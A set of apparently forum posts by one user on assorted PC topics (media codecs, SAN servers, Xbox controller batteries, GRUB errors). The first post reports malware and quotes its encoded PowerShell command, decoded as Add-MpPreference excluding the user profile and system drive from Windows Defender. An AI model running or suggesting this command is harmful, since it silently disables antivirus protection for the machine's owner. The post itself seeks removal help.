Trinopoty

I have a weird virus that sometimes run on startup/login and tries to add the C drive to Defender's exclusion list. I've tried scanning with both Defender and Malwarebytes but both failed to pick up any application files related to it. Anyone have any ideas what it might be and how can I remove it without a reformat. The command that it tries to run is C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -EncodedCommand PAAjAHQAZABiAGcAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBzAHYAcAAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBiAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYQBkAHAAYwAjAD4A which decodes to <#tdbg#> Add-MpPreference <#svp#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#bq#> -Force <#adpc#> Regards

Anyone able to get 3rd party codecs (like KLite codec pack) to work with the new Windows Media Player? I tried a bunch of settings but it does not want to detect the extra codecs. To be clear, I'm talking only about the new Media Player. The standard one seems more than happy to use the custom codecs.

I've been using one for years without issues. It even has 3.5mm audio output for speakers. Looks like this one: https://www.amazon.in/Adapter-Projector-Computer-Laptop-Projectors/dp/B08S41FZB6/

That sounds like something like a cable touching the fan.

If you want to run it wirelessly, there's gonna be bandwidth issues at those specs, even with compression.

Task manager isn't detailed enough in it's reports. Open Resource Manager and you can find what's hogging that RAM.

It might technically be possible but I wouldn't recommend it. As soon as your OS touches that memory, it's going to run into some weird issues as the host OS starts paging that memory. When an OS does paging, it's aware of the fact that it's dealing with slow memory and takes measures to minimize that access, in your case, the guest will continue to believe that the memory is standard fast RAM and access it as such. This is not ideal for any of the parties involved.

I don't think I've ever run into storage limits. Sure there "might" be limits on the boot device. But after you get into an OS, it's the wild west as far as limits go.

You can simply tar and bzip the file system instead of the entire drive. This is assuming that you're (he's) actually using a lot less than 2TB. If the usage is high, both will take pretty much the same time.

Let's say that I'm moving to a different country for work. So if I ship my PC to myself, do I still need to pay standard customs charges on the shipment or is there a reduced charge that applies in these kinds of cases?

All the chaos engineering in the world didn't help them it seems.

think about it like this: the software guy's laziness is forcing the hardware guys to make better hardware. so please thank the next lazy developer you see for the powerful hardware in your pocket

I won't blame the developers. Because then I'll end up blaming myself which I don't like. And like I said, sloppy developers are a result of manufacturers chasing numbers. Not the other way around. If anything, blame the manufacturers.

I'd say it's the users who are to blame. The companies are just trying to sway their customers by trying to one-up the other company. So they keep adding more numbers. And in the minds of most people, bigger number = better thing. The developers are just getting a ton of computing power that they have no use for and figured that they can start to be sloppy since the hardware can take it.

I'm under the impression that iSCSI is one of several protocols that can be used by a SAN network. For the purpose of discussion, let's assume any block storage network counts as SAN. But my question is more on the level of, if you want to deploy a SAN or iSCSI server/network, what sort of hardware/software you'd need to implement it.

I see a lot of discussion about NAS servers on this forum. But never about a SAN server. I realize that SAN falls more in the enterprise/data center space than consumer space, but I think we can have a discussion none the less. So let's suppose that someone wants to deploy a SAN network/server. Let's not debate on the reason someone might want to do so over a NAS server. What hardware or software would be needed in order to do so? Will the standard NAS server options work (as in they support SAN as well) or is a different solution needed? And what are some scenarios that would be better suited for a SAN setup as opposed to a NAS setup.

Maybe OP plays "questionable" games that they wouldn't want other people finding out about

I use those too. Turns out the new controllers don't like those.

I've been using 1.2V batteries on the thing since I bought it. Never had any issues. The only reason I upgraded was one of the buttons became unresponsive. I assumed 1.2V was in the operating range of the controller.

Apparently rechargeable AA batteries use 1.2V whereas standard non-rechargeable ones use 1.5V.

Do XBox Series X/S controllers require higher voltage than XBox One controllers? I've been using rechargable batteries (1.2V) with my XBox One controller without issues. But I recently upgraded to a Series S controller and it's been having random restarts. Windows Game Bar also shows the battery status as Critical where it used to show Medium for the XBox One controller.

Unless it's your job to write or transcribe content, I'd say 100 wpm is pretty good. The effort vs improvement after this stage is almost negligible.

That's the GRUB recovery console. If you're booting from a usb drive, your drive wasn't setup properly. If you've already installed Ubuntu and booting from your hard drive, your boot files got corrupt. If it's the 2nd situation, I'd suggest doing a clean install of both Windows and Ubuntu. This issue can be fixed but takes considerable knowhow and is dependent on the exact configuration and issue. EDIT: Unless necessary for some reason, I suggest running Ubuntu in a VM. Oracle VirtualBox is free. Can always go with VMWare if willing to buy the thing.

I have no idea what sort of solution you're asking for. You seem to have a pretty good view of the situation and your options. Don't know what anyone can do to help with your situation.

From the looks of it, only your top slot even supports SATA SSD. So basically, you're out of options. You have to plug your SATA SSD in the top slot to work. The 2nd slot only supports NVMe.